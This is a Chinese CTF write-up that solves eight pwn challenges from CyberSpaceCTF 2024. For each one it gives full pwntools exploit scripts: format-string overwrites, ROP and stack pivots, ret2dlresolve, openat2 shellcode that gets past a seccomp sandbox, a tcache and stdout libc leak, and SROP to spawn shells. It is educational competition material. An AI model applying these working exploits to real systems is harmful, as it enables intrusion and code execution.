2024CyberSpaceCTF-pwn解析
默文 发表于 浙江 CTF 556浏览 · 2024-09-06 15:51

CyberSpaceCTF-pwn题解

前言

这个国际赛还是比较简单的,更多的是偏向于rop手法的时候

Byte Modification Service

init把elf的执行段改为rwx了

v3的下标溢出,然后有一个xor异或,最后20字节的fmt

然后会调用bye直接exit退出,返回地址改了也没用

给了一个后门函数

20字节不能直接篡改到got表处,got表地址和栈上的elf地址都是差两字节

在最开始的时候程序吧text段改为可写了,这个很重要可以篡改里面的执行指令了,在fmt过后会call bye,那我们通过第一次的xor把栈上写入call bye的地址

然后因为可写可以直接利用fmt篡改为call win,就差了一字节很好改

from pwn import *
from ctypes import*
from LibcSearcher import*


u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)


FILENAME='../chall'
p=process(FILENAME)
# elf=ELF(FILENAME)
# p = remote('byte-modification-service.challs.csc.tf', 1337)
# libc=ELF('../libc.so.6')
gdb.attach(p,'b* 0x401415')
p.recvuntil(b'use?')
p.sendline(str(0xb))
p.recvuntil(b'Index?')
p.sendline(str(0))
p.recvuntil(b'with?')
p.sendline(str(0x45))

win=0x4012BA
exit_got=0x404050
payload=f'%{0xf7-1}c%{0x3+0x6}$hhn'
print(len(payload))
payload=payload.encode()
payload=payload.ljust(20,b'a')
p.recvuntil(b'service')
p.sendline(payload)

p.interactive()

ticket-bot-v2

一个无限循环的menu题目

init读取了随机数作为password

menu三个功能,第一个GrabNewTicket,往tickets输入0x20字节

但是这里大于5才置零,也就是index=5,0x4040+5*0x20=0x40E0,最后一次输入的时候有溢出,可以覆盖到password

3功能是admin相关的函数

在里面有栈溢出、fmt漏洞,

通过第一步的下标溢出就可以进入admin,然后通过fmt泄露地址,再通过溢出直接system

from pwn import *
from ctypes import*
from LibcSearcher import*


u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)


FILENAME='../pwn2'
# p=process(FILENAME)
# elf=ELF(FILENAME)
p = remote('ticket-bot-v2.challs.csc.tf', 1337)
libc=ELF('../libc.so.6')


def command(option):
    p.recvuntil(b'3. Service Login')
    p.sendline(bytes(str(option),'utf-8'))

def new_ticket(Content=b'a'):
    command(1)
    p.recvuntil(b'here')
    p.sendline(Content)
def show_ticket(id):
    command(2)
    p.recvuntil(b'ticketID')
    p.sendline(bytes(str(id),'utf-8'))
def admin_login(Content,pwd=1):
    command(3)
    p.recvuntil(b'Password')
    p.sendline(bytes(str(pwd),'utf-8'))
    p.recvuntil(b'Password')
    p.sendline(bytes(str(1),'utf-8'))
    p.recvuntil(b'Password')
    p.sendline(Content)
p.sendline(b'a')
for i in range(4):
    new_ticket()
new_ticket(b'a'*4+p32(1))


payload=b'%7$p'
admin_login(payload)

canary=int_fix(p,8*2)
success('canary '+hex(canary))
payload=b'%9$p'
admin_login(payload)

elf_add=int_fix(p)
elfbase=elf_add-0x16a6
success('elfbase '+hex(elfbase))
# gdb.attach(p,'b* $rebase(0x173A)')
rdi_ret=0x00000000000018d3+elfbase
leak='puts'
leak_got=elfbase+0x3F68
puts_plt=0x1124+elfbase
print(hex(puts_plt))
call_menu=0x1864+elfbase
payload=b'\x00'*8+p64(canary)+p64(0)+p64(rdi_ret)+p64(leak_got)+p64(puts_plt)+p64(0x1200+elfbase)
admin_login(payload)

p.recvuntil(b'to\n')
leak_add=u64_Nofix(p)
libcbase=leak_add-libc.symbols[leak]
system=libcbase+libc.symbols['system']
str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))
log.info('libcbase '+hex(libcbase))


p.sendline(b'a'*4+p32(1))

payload=b'\x00'*8+p64(canary)+p64(0)+p64(rdi_ret+1)+p64(rdi_ret)+p64(str_bin_sh)+p64(system)
admin_login(payload)


p.interactive()

shelltester-v2

arm架构的题目

再vuln函数中有fmt漏洞然后栈溢出,从汇编看出这里其实是有canary检查的

简单讲一下arm架构基础

arm架构和x86_64加的运行方式差不多,就是一些指令和寄存器的区别

参数寄存器改为R0 ~ R3R0被用作函数返回值,R7为系统调用号,R11相当于ebp(在arm中叫FP)

R13相当于esp(arm->SP),R15相当于eip(arm->PC),返回直接就是POP{PC}

LDRSTR两个相反的操作要记住

LDR R2,[R3],从R3地址上的数据加载到R2中

STR R3, [R11,#var_8],将R3的数据存储到R11+var_8的位置,这就是在栈上变量的操作

B Label:无条件跳转到Label处;

BL Label:当程序跳转到标号Label处执行时,同时将当前的PC值保存到R14中;

这题是静态链接的arm,脚本启动调试,不调试把-g 端口号去掉就行

p = process(["qemu-arm","-g", "2233","../chall"])

gdb.sh的脚本,然后启动sh脚本就可以连接到前面开的端口并调试

#!/bin/sh
gdb-multiarch -q \
    -ex "target remote :2233" \
    -ex "b *0x10608" \
    -ex "b *0x001062C" \
    -ex "b *0x10648" \      
    -ex "c"

R11(ebp)上面的就是canary,通过偏移算出来%43$p,泄露canary直接就是直接栈溢出

ROPgadget寻找,用下面这个命令也能看不通架构的寄存器pop

ROPgadget --binary chall --only 'pop|ret'

程序给了后门函数,控制R0,然后执行就行

from pwn import *
from ctypes import*
from LibcSearcher import*


u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)
p = process(["qemu-arm","-g", "2233","../chall"])

FILENAME='../chall'
# p=process(FILENAME)
# elf=ELF(FILENAME)
# p = remote('shelltesterv2.challs.csc.tf', 1337)

p.recvuntil(b'Tell')

payload=f'%{0x27+4}$p'
p.sendline(payload)

canary=int_fix(p,4*2)
success('canary '+hex(canary))

r0_ret=0x0006f25c
str_bin_sh=0x0072688
payload=b'a'*(100)+p32(canary)+p32(0)+p32(r0_ret)+p32(str_bin_sh)+p32(0x00105B4)
p.sendlineafter(b'before',payload)

p.interactive()

silent-rop-v2

没有输出函数,开局也是关闭了stdout,

给了很大的栈溢出,还有很多的rop,

主要是rop手法的问题,先从bss段取了stdout的地址,然后打上相对偏移到one_gadget处,然后最后放回rsp调用就行

from pwn import *
from ctypes import*
from LibcSearcher import*


u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)


FILENAME='../pwn4'
# p=process(FILENAME)
# elf=ELF(FILENAME)
p = remote('silent-rop-v2.challs.csc.tf', 1337)

main=0x0000000000401202
bss=0x404000+0x500
stdout=0x404010
rdx_ret=0x00000000004011e2
rdi_ret=0x0000000000401293
rsi_r15_ret=0x0000000000401291
mov_rspRDx_rdi=0x0000000004011FA
mov_Rdi_PRdx=0x4011E9
add_Rdi_Rdx=0x4011F6
payload=b'a'*(0x10)+p64(bss)+p64(rdx_ret)+p64(stdout)+p64(mov_Rdi_PRdx)
payload+=p64(rdx_ret)+p64(0xFFFFFFFFFFEF6464)+p64(add_Rdi_Rdx)+p64(rsi_r15_ret)+p64(0)*2
payload+=p64(rdx_ret)+p64(0)+p64(mov_rspRDx_rdi)
p.send(payload)
sleep(1)

p.sendline(b'exec 1>&2;cat /flag;')

p.interactive()

ez-rop

也是没有输出函数,开局用了alarm这个很重要和read一样很容易控制rax

然后给了0x14字节的溢出,不是很够用需要做rop然后栈迁移,

第一次溢出rbp然后地址改为红色框的地址,再次调用就能完成栈迁移然后再栈上运行第二次写进的很多数据

给了没调用的几个函数

alarm利用

控制rax

举个例子:alarm(100)的时候,然后在3秒后调用了alarm(0),就会返回剩下的时间给rax,3秒后这里rax=97,

开局alarm(80),那我再80-59秒后调用alarm(0),这个时候就能返回rax=59,控制了rax,还需要找到syscall来执行,

利用syscall

alarm里syscall很近,改几位就能到syscall

因为这里用利用alarm来控制rax不能篡改,read函数很近就是syscall,可以利用程序中的read去篡改got表指向syscall,

然后利用alarm控制rax,再调用syscall为execv("/bin/sh",0,0);

from pwn import *
from ctypes import*
from LibcSearcher import*


u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)


FILENAME='../pwn11'
p=process(FILENAME)
elf=ELF(FILENAME)
# p = remote('ez-rop.challs.csc.tf', 1337)

rsi_ret=0x401165
mov_rdi_rsi=0x40115A
rbp_ret=0x401168
bss=0x404000+0x500+0x400
read_got=elf.got['read']
read_plt=elf.plt['read']
alarm_plt=elf.plt['alarm']
call_read=0x401172
call_gets=0x40119A
leave_ret=0x0000000000401190
payload=b'a'*96+p64(bss)+p64(call_gets)

p.sendline(payload)

payload=p64(rbp_ret)+p64(read_got+0x8)+p64(call_read)
payload+=p64(alarm_plt)+p64(rsi_ret)+p64(bss-0x60+10*8)+p64(mov_rdi_rsi)+p64(rsi_ret)+p64(0)+p64(read_plt)+b'/bin//sh'
payload=payload.ljust(0x60,b'\x00')
payload+=p64(bss-0x60-0x8)+p64(leave_ret)
p.sendline(payload)

sleep(80-59)
p.send(b'\x10')

p.interactive()

通过alarm控制rax远程没有打通,时间不好控制

通过ret2dl_reslove手法直接打一遍

from pwn import *
from ctypes import*
from LibcSearcher import*


u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)


FILENAME='../chall'
# p=process(FILENAME)
elf=ELF(FILENAME)
#p = remote('209.126.9.222', 5000)
p=remote('ez-rop.challs.csc.tf',1337)
# libc=ELF('../libc.so.6')

call_fgets=0x40119A
rsi_ret=0x401165
movRdiRsi_ret=0x40115A
bss=0x405000-0x100
leave_ret=0x4011B6
fake_strAddr=bss
fake_symAddr=fake_strAddr-0x200
fake_jmpAddr=fake_symAddr-0x200
STR_offset=0x4a50
mygot=0x404000
JMP_offset=0x30D+1
reloc_arg=0x2e3

success('fake_strAddr '+hex(fake_strAddr))
success('fake_symAddr '+hex(fake_symAddr))
success('fake_jmpAddr '+hex(fake_jmpAddr))

payload=b'a'*(0x60)+p64(fake_strAddr+0x60)+p64(call_fgets)
p.sendline(payload)


payload=p64(fake_symAddr+0x60)+p64(call_fgets)+b'system\x00\x00/bin//sh'
payload=payload.ljust(0x60,b'\x00')
payload+=p64(fake_strAddr)+p64(leave_ret)
p.sendline(payload)


payload=p64(fake_jmpAddr+0x60)+p64(call_fgets)
payload+=p64(0)*2+p32(STR_offset)+p32(0x12)+p64(0)*2
payload=payload.ljust(0x60,b'\x00')
payload+=p64(fake_symAddr)+p64(leave_ret)
p.sendline(payload)


payload=p64(rsi_ret)+p64(fake_strAddr+0x18)+p64(movRdiRsi_ret)+p64(0x40103B)+p64(reloc_arg)
payload+=p64(0)*2+p64(mygot)+p32(7)+p32(JMP_offset)+p64(0)
payload=payload.ljust(0x60,b'\x00')
payload+=p64(fake_jmpAddr-0x8)+p64(leave_ret)
p.sendline(payload)


p.interactive()

menu

开始给了程序的地址

然后给了栈溢出

但是开了sandbox,这里禁用open和openat,还禁用ptrace和fork,不能使用hook来打开文件

利用openat2,

ssize_t openat2(int dfd, const char* filename, struct open_how* how, size_t usize);
//dfd与另外3个参数的使用方式与openat相同
//结构体中三个参数,resolve指解析路径名所有组件的方式,普通的打开文件操作填0即可。参数size必须为结构体open_how的大小,是0x18
struct open_how {
    __u64 flags;
    __u64 mode;
    __u64 resolve;
};

转换成汇编就是这样

mov rax, 0x67616c66 /*  /flag   */
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push 437
pop rax
syscall

先利用溢出泄露出libc地址,然后利用libc地址泄露出env(栈地址),再调用mprotect把栈改为可执行,然后写入shellcode就行,主要就是openat2的利用

from pwn import *
from ctypes import*
from LibcSearcher import*


u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)


FILENAME='../pwn5'
# p=process(FILENAME)
# elf=ELF(FILENAME)
p = remote('menu.challs.csc.tf', 1337)
# p=remote('127.0.0.1',2233)
libc=ELF('../libc.so.6')

elf_add=int_fix(p)
elfbase=elf_add-0x0000000000015FE
success('elfbase '+hex(elfbase))

printf_blue=0x15DF+elfbase
puts_plt=0x10D0+elfbase
start=0x1120+elfbase
ret=0x000000000000101a+elfbase
payload=b'a'*(0xd0+0x8)+p64(ret)+p64(printf_blue)+p64(puts_plt)+p64(start)
p.recvuntil(b'What')
p.send(payload)

p.recvuntil(b'way!\n')
strs=p.recvuntil(b'\n')[:-1]

libc_add=u64(strs[-6:].ljust(8,b'\x00'))
libcbase=libc_add-0x62050
success('libcbase '+hex(libcbase))

rdi_ret=libcbase+0x000000000002a3e5
rsi_ret=libcbase+0x000000000002be51
rdx_r12_ret=libcbase+0x000000000011f2e7
env=libcbase+0x222200
payload=b'a'*(0xd0+0x8)+p64(ret)+p64(rdi_ret)+p64(env)+p64(puts_plt)+p64(start)
p.recvuntil(b'What')
# gdb.attach(p,'b* $rebase(0x1717)')
p.send(payload)

mprotect=libcbase+libc.sym['mprotect']
p.recvuntil(b'way!\n')
stack_add=u64_Nofix(p)

success('stack_add '+hex(stack_add))
orw=p64(rdi_ret)+p64(stack_add-(stack_add&0xfff))+p64(rsi_ret)+p64(0x5000)
orw+=p64(rdx_r12_ret)+p64(7)*2+p64(mprotect)+p64(stack_add-0x2c8)
sh=f'''
mov rax, 0x67616c66 /*  /flag   */
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push 437
pop rax
syscall

mov rdi,rax
mov rsi,rsp
push 0x100
pop rdx
xor eax,eax
syscall

xor rdi,rdi
inc rdi
mov rax,rdi
syscall
'''
context.arch='amd64'
payload=b'a'*(0xd0+0x8)+orw+asm(sh)
p.recvuntil(b'What')
p.send(payload)


p.interactive()

shop

一个基础的堆题,但是没有show函数,

释放的时候有uaf漏洞,但是其他地方是用的data_size作为判断,这里data_size再释放的时候会置零,就是只有在释放的时候才会double使用

当程序中不存在输出函数,但是需要libc地址的时候,对_IO_2_1_stdout中的flag和write_base低字节进行篡改,就能泄露libc地址

当有puts、printf、write等输出函数的时候。

1、最终都会调用vtable->_xsputn,

2、会继续调用IO_new_file_overflow(接着会调用new_do_write ,但是有检查不可写和缓冲区)

3、调用_IO_SYSWRITE输出(检查偏移量)

总结:需要控制flag绕过三个位检查,控制write_base输出libc地址

IO_new_file_overflow->_IO_do_write

int _IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f->_IO_write_base == NULL)
    {
      _IO_doallocbuf (f);
      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
      /* Otherwise must be currently reading.
     If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
     logically slide the buffer forwards one block (by setting the
     read pointers to all point at the beginning of the block).  This
     makes room for subsequent output.
     Otherwise, set the read pointers to _IO_read_end (leaving that
     alone, so it can continue to correspond to the external position). */
      if (__glibc_unlikely (_IO_in_backup (f)))
    {
      size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
      _IO_free_backup_area (f);
      f->_IO_read_base -= MIN (nbackup,
                   f->_IO_read_base - f->_IO_buf_base);
      f->_IO_read_ptr = f->_IO_read_base;
    }
      if (f->_IO_read_ptr == f->_IO_buf_end)
    f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
      f->_IO_write_ptr = f->_IO_read_ptr;
      f->_IO_write_base = f->_IO_write_ptr;
      f->_IO_write_end = f->_IO_buf_end;
      f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
      f->_flags |= _IO_CURRENTLY_PUTTING;
      if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
    f->_IO_write_end = f->_IO_write_ptr;
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base);
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
//主要的部分代码
if (f->_flags & _IO_NO_WRITES) return EOF;
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)刷新缓冲区
调用_IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base);

绕过不可写检查、缓冲区为空检查需要:

​ 1、f->_flags & _IO_NO_WRITES=0

​ 2、f->_flags & _IO_CURRENTLY_PUTTING=1, f->_IO_write_base不为空

#define _IO_NO_WRITES 8
#define _IO_CURRENTLY_PUTTING 0x800
这个时候flag就要设置0xFBAD0800
//f->_flags 
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

_new_do_write ->_IO_SYSWRITE

static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
            return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
               && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
               ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

会检查之后会设置偏移量,绕过条件需要:

1、fp->_flags & _IO_IS_APPENDING=0

2、fp->_IO_read_end ==fp->__IO_write_base

首先说一下看IO_FILE结构的时候,你就会发现IO_read_end 位置是在IO_write_base前面的,篡改IO_write_base之后必定会干扰IO_read_end ,本就不知道地址,这个时候IO_read_end 就无法确定,而修改IO_write_base也只是最后一位字节,所以这个条件我们无法控制,如果使第一个不成立就会跳进这里面执行,会调用_IO_SYSSEEK进行偏移,这个时候我们原来篡改的IO_write_base就不可控

所以,只能使第一个条件成立(fp->_flags & _IO_IS_APPENDING=1),更改fp->_offset = _IO_pos_BAD;对泄露地址没影响

//这个时候flag就要设置0xFBAD1800
//fp->_flags & _IO_IS_APPENDING=1
#define _IO_IS_APPENDING 0x1000

总结

1、f->_flags & _IO_NO_WRITES=0

2、f->_flags & _IO_CURRENTLY_PUTTING=1

3、fp->_flags & _IO_IS_APPENDING=1

4、篡改write_base低字节

这个时候flag=0xFBAD1887,就能满足输出调用,然后篡改write_base(<write_ptr)为想泄露的地址,就能泄露出来

先释放进fastbin然后再释放进tcachebins就不会触发double free,或者直接fastbin attack,

然后直接改到tcache管理块上,

控制tcache,把0x290的counts改为>7,然后释放就有了libc地址

申请回来篡改一下就能申请到stdout然后就是正常的手法

from pwn import *
from ctypes import*
from LibcSearcher import*


u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)


FILENAME='../pwn8'
# p=process(FILENAME)
elf=ELF(FILENAME)
# p = remote('shop.challs.csc.tf', 1337)
# p=remote('127.0.0.1',2233)
libc=ELF('../libc.so.6')
# libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def command(option):
    p.recvuntil(b'>')
    p.sendline(bytes(str(option),'utf-8'))

def create(Size):
    command(1)
    p.recvuntil(b'much?')
    p.sendline(bytes(str(Size),'utf-8'))

def free(id):
    command(3)
    p.recvuntil(b'Index')
    p.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
    command(2)
    p.recvuntil(b'Index')
    p.sendline(bytes(str(id),'utf-8'))
    p.recvuntil(b'Name')
    p.send(Content)
def pwn():
    for i in range(7):
        create(0x78)
    create(0x100)#7
    create(0x78)#8
    for i in range(9):
        free(i)
    create(0x78)#0
    free(8)

    for i in range(1,1+7):
        create(0x78)#1-7

    edit(1,p16(0xb000))# bf 1/16
    create(0x78)#8 1
    create(0x78)#9 tcache
    edit(9,b'\x00'*0x48+p64(0x0007000000000000))
    free(9)
    create(0x88)#9
    create(0x88)#10
    stdout_low=0x26a0
    edit(10,p16(stdout_low))

    flags=0xFBAD1887
    create(0x38)#11
    edit(11,p64(flags)+p64(0)*3+p8(0x8))

    p.recvuntil(b': ')
    strs=p.recv(8)
    print(strs)
    if(b'\x00' not in strs):return -1
    libc_add=u64(strs)
    print(hex(libc_add))
    if(libc_add>0x800000000000):return -1
    libcbase=libc_add-0x1ec980
    success('libcbase '+hex(libcbase))
    free_hook=libcbase+libc.sym['__free_hook']
    system=libcbase+libc.sym['system']
    success('free_hook '+hex(free_hook))

    edit(10,p64(free_hook))
    create(0x38)#12
    edit(12,p64(system))
    edit(10,b'/bin/sh\x00')
    free(10)
    # gdb.attach(p)


for i in range(64):
    try:
        print("i---->",i)
        # p=process(FILENAME)
        p = remote('shop.challs.csc.tf', 1337)
        flags=pwn()
        if(flags==-1):
            p.close()
            continue
        p.interactive()
    except:
        p.close()

syslooper

这题只分析打chall手法,通过run开启的sandbox没打

程序非常简单,一个main函数的0x10字节溢出就没了,

给了一个gift,应该是后面过沙盒的沙盒时候利用

通过ROP完成栈迁移并且在bss段上布置

在bss段上布置SROP的回调后的寄存器信息,然后通过read控制rax完成srop,调用execve打通,但是run启动的沙盒是不能不用execve的。需要通过read增加fd泄露。

from pwn import *
from ctypes import*
from LibcSearcher import*


u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)
# p = process(["qemu-arm","-g", "2233","../chall"])

FILENAME='../chall'
p=process(FILENAME)
# elf=ELF(FILENAME)
#p = remote('209.126.9.222', 5000)
# p=remote('127.0.0.1',8080)
# libc=ELF('../libc.so.6')

# p=gdb.debug(FILENAME,'b* 0x40102A')

bss=0x402000+0x500
call_read=0x40101C
main=0x40100F
leave_ret=0x40102C
gg=0x40102E
payload=b'a'*(0x40)+p64(bss)+p64(call_read)
p.send(payload)

payload=b'/bin/sh\x00'+p64(main)
payload=payload.ljust(0x40,b'\x00')
payload+=p64(bss-0x40)+p64(leave_ret)
p.send(payload)

sleep(0.5)
NR_rt_sigreturn=15

context.arch='amd64'
str_bin_sh=0x4024c0
syscall=0x40100D
syscall_leave_ret=0x40102A
bss=0x402100
sigframe = SigreturnFrame()
sigframe.rax=59
sigframe.rdi=str_bin_sh
sigframe.rsi=0
sigframe.rdx=0
sigframe.rip=syscall_leave_ret
sigframe.rbp=bss-0x8
sigframe=bytes(sigframe)
print(hex(len(sigframe)))
print(sigframe)
for i in range(len(sigframe)):
    if(sigframe[i]!=0):
        print('idx->',hex(i),' value->',hex(sigframe[i]))

srop_payload=p64(main)+p64(syscall_leave_ret)+sigframe
print(hex(len(srop_payload)))
srop_addr=0x402000+0x100
old_srop_addr=srop_addr
payload=b'/bin/sh\x00'*(0x40//8)+p64(srop_addr)+p64(call_read)
p.send(payload)

length=len(srop_payload)
if(length//0x30!=length/0x30):
    length=(length//0x30)+1
for i in range(length):
    print('i ',i)
    temp=srop_payload[i*0x30:(i+1)*0x30]
    if(len(temp)<0x30):temp=temp.ljust(0x30,b'\x00')
    payload=temp+p64(srop_addr+0x30)+p64(call_read)+p64(srop_addr-0x10)+p64(leave_ret)
    p.send(payload)
    srop_addr+=0x30
    pass

payload=b'\x00'*0x40+p64(old_srop_addr-0x40-0x8)+p64(leave_ret)
p.send(payload)

pay=p64(main).ljust(15,b'a')
p.send(pay)

p.interactive()
附件:
0 条评论
某人
表情
可输入 255